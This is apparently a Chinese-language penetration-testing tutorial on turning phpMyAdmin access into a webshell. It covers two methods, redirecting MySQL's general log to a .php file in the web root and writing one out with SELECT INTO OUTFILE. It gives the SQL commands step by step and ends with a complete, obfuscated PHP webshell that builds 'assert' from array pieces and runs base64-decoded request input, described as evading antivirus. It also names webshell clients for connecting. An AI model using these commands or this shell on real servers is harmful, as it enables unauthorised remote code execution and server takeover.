背景
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。通过mysql相关特性,可以实现对任意文件的写入,从而实现getshell。
思路1:通过日志文件写入
mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。
查看日志状态
show variables like ‘%general%’;
开启日志
SET GLOBAL general_log=’on’
创建文件
在设置日志路径之前,需要先知道web的绝对路径;通过 Select @@datadir; 获取
获取绝对路径后,需要根据返回的信息猜测判断web路径;
设置日志文件生成路径,需要存在web根目录下,才能通过web访问;
SET GLOBAL general_log_file=’C:/xampp/htdocs/111.php’
执行完,即会生成日志文件;
接着执行
即可在日志文件插入一句话; 直接用蚁剑或者菜刀链接即可
思路2:利用mysql备份功能
进入phpmyadmin,选择一个数据库,创建一张表比如table_text,添加一个TEXT类型的字段,用来存放shell语句;
同样的道理,需要先获取web的路径,方法同思路1;
执行sql语句
select cmd from table_text into outfile ‘C:/xampp/htdocs/1122.php’;
这样一句话就生成了;
总结思路2:
Create TABLE table_text (cmd text NOT NULL);
Insert INTO table_text (cmd) VALUES(”);
select cmd from table_text into outfile ‘C:/xampp/htdocs/1122.php’;
Drop TABLE IF EXISTS table_text;
SQL查询免杀shell的语句
SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_=’a’.$_.’rt’;$_(base64_decode($_REQUEST[‘username’]));?>”